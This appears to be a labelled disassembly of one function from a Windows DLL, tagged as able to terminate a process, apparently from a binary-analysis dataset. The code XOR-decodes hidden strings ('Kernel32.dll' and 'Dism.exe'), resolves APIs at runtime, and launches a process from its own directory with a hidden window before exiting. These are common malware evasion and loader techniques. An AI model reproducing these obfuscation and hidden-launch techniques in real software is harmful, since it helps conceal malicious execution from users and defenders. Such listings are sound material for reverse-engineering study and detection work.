Function at 0x10001010
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x10012004]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x100109c0]
lea eax, [ebp - 0x30]
push esi
push edi
push 0x2c
push 0
push eax
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0xababfcce
call fcn.10002180
movaps xmm2, xmmword [0x100109b0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x44]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x44], xmm1
movups xmm0, xmmword [ebp + eax - 0x34]
pxor xmm0, xmm2
movups xmmword [ebp + eax - 0x34], xmm0
add eax, 0x20
cmp eax, 0x40
jb 0x10001050
movaps xmm0, xmmword [str._f._]
lea eax, [ebp - 0xf4]
push 0x30
push 0
push eax
movups xmmword [ebp - 0x104], xmm0
call fcn.10002180
add esp, 0xc
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [ebp + eax - 0x104]
movaps xmm1, xmmword [0x100109a0]
pxor xmm0, xmm1
movups xmmword [ebp + eax - 0x104], xmm0
movups xmm0, xmmword [ebp + eax - 0xf4]
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0xf4], xmm1
add eax, 0x20
cmp eax, 0x40
jb 0x100010a0
push 0x64
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xc4], 0x760058
push 0
push eax
mov dword [ebp - 0xc0], 0x7d0061
mov dword [ebp - 0xbc], 0x7f0076
mov dword [ebp - 0xb8], 0x210020
mov dword [ebp - 0xb4], 0x77003d
mov dword [ebp - 0xb0], 0x7f007f
mov dword [ebp - 0xac], 0x130013
call fcn.10002180
add esp, 0xc
xor eax, eax
xor word [ebp + eax*2 - 0xc4], 0x13
inc eax
cmp eax, 0x40
jb 0x10001132
push 0x6c
lea eax, [ebp - 0x170]
mov dword [ebp - 0x184], 0x1e0033
push 0
push eax
mov dword [ebp - 0x180], 0x1a0004
mov dword [ebp - 0x17c], 0x120059
mov dword [ebp - 0x178], 0x12000f
mov dword [ebp - 0x174], 0x770077
call fcn.10002180
add esp, 0xc
xor eax, eax
nop dword [eax + eax]
xor word [ebp + eax*2 - 0x184], 0x77
inc eax
cmp eax, 0x40
jb 0x10001190
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x208
mov edi, eax
lea eax, [ebp - 0x594]
push 0
push eax
call fcn.10002180
push 0x208
lea eax, [ebp - 0x38c]
push 0
push eax
call fcn.10002180
push 0x208
lea eax, [ebp - 0x79c]
push 0
push eax
call fcn.10002180
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x104]
add esp, 0x24
push eax
push edi
call esi
mov dword [0x10013160], eax
lea eax, [ebp - 0x44]
push eax
push edi
call esi
push 0x104
lea ecx, [ebp - 0x38c]
mov dword [0x10013164], eax
push ecx
push 0
call eax
lea eax, [ebp - 0x38c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
test esi, esi
je 0x10001243
lea eax, [ebp + esi*2 - 0x38e]
cmp word [eax], 0x5c
je 0x10001243
sub eax, 2
sub esi, 1
jne 0x10001235
lea eax, [ebp - 0x38c]
lea eax, [eax + esi*2]
push eax
lea eax, [ebp - 0x79c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
test esi, esi
je 0x10001275
mov ecx, esi
lea edi, [ebp - 0x594]
shr ecx, 1
lea esi, [ebp - 0x38c]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x594]
push eax
call esi
push 0x10010988
lea eax, [ebp - 0x594]
push eax
call esi
push 0x1001098c
lea eax, [ebp - 0x594]
push eax
call esi
push 0x44
lea eax, [ebp - 0x7f0]
push 0
push eax
call fcn.10002180
add esp, 0xc
mov dword [ebp - 0x7c4], 1
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x7c0], ax
lea eax, [ebp - 0x7ac]
movups xmmword [ebp - 0x7ac], xmm0
push eax
lea eax, [ebp - 0x7f0]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x594]
push eax
push 0
call dword [0x10013160]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]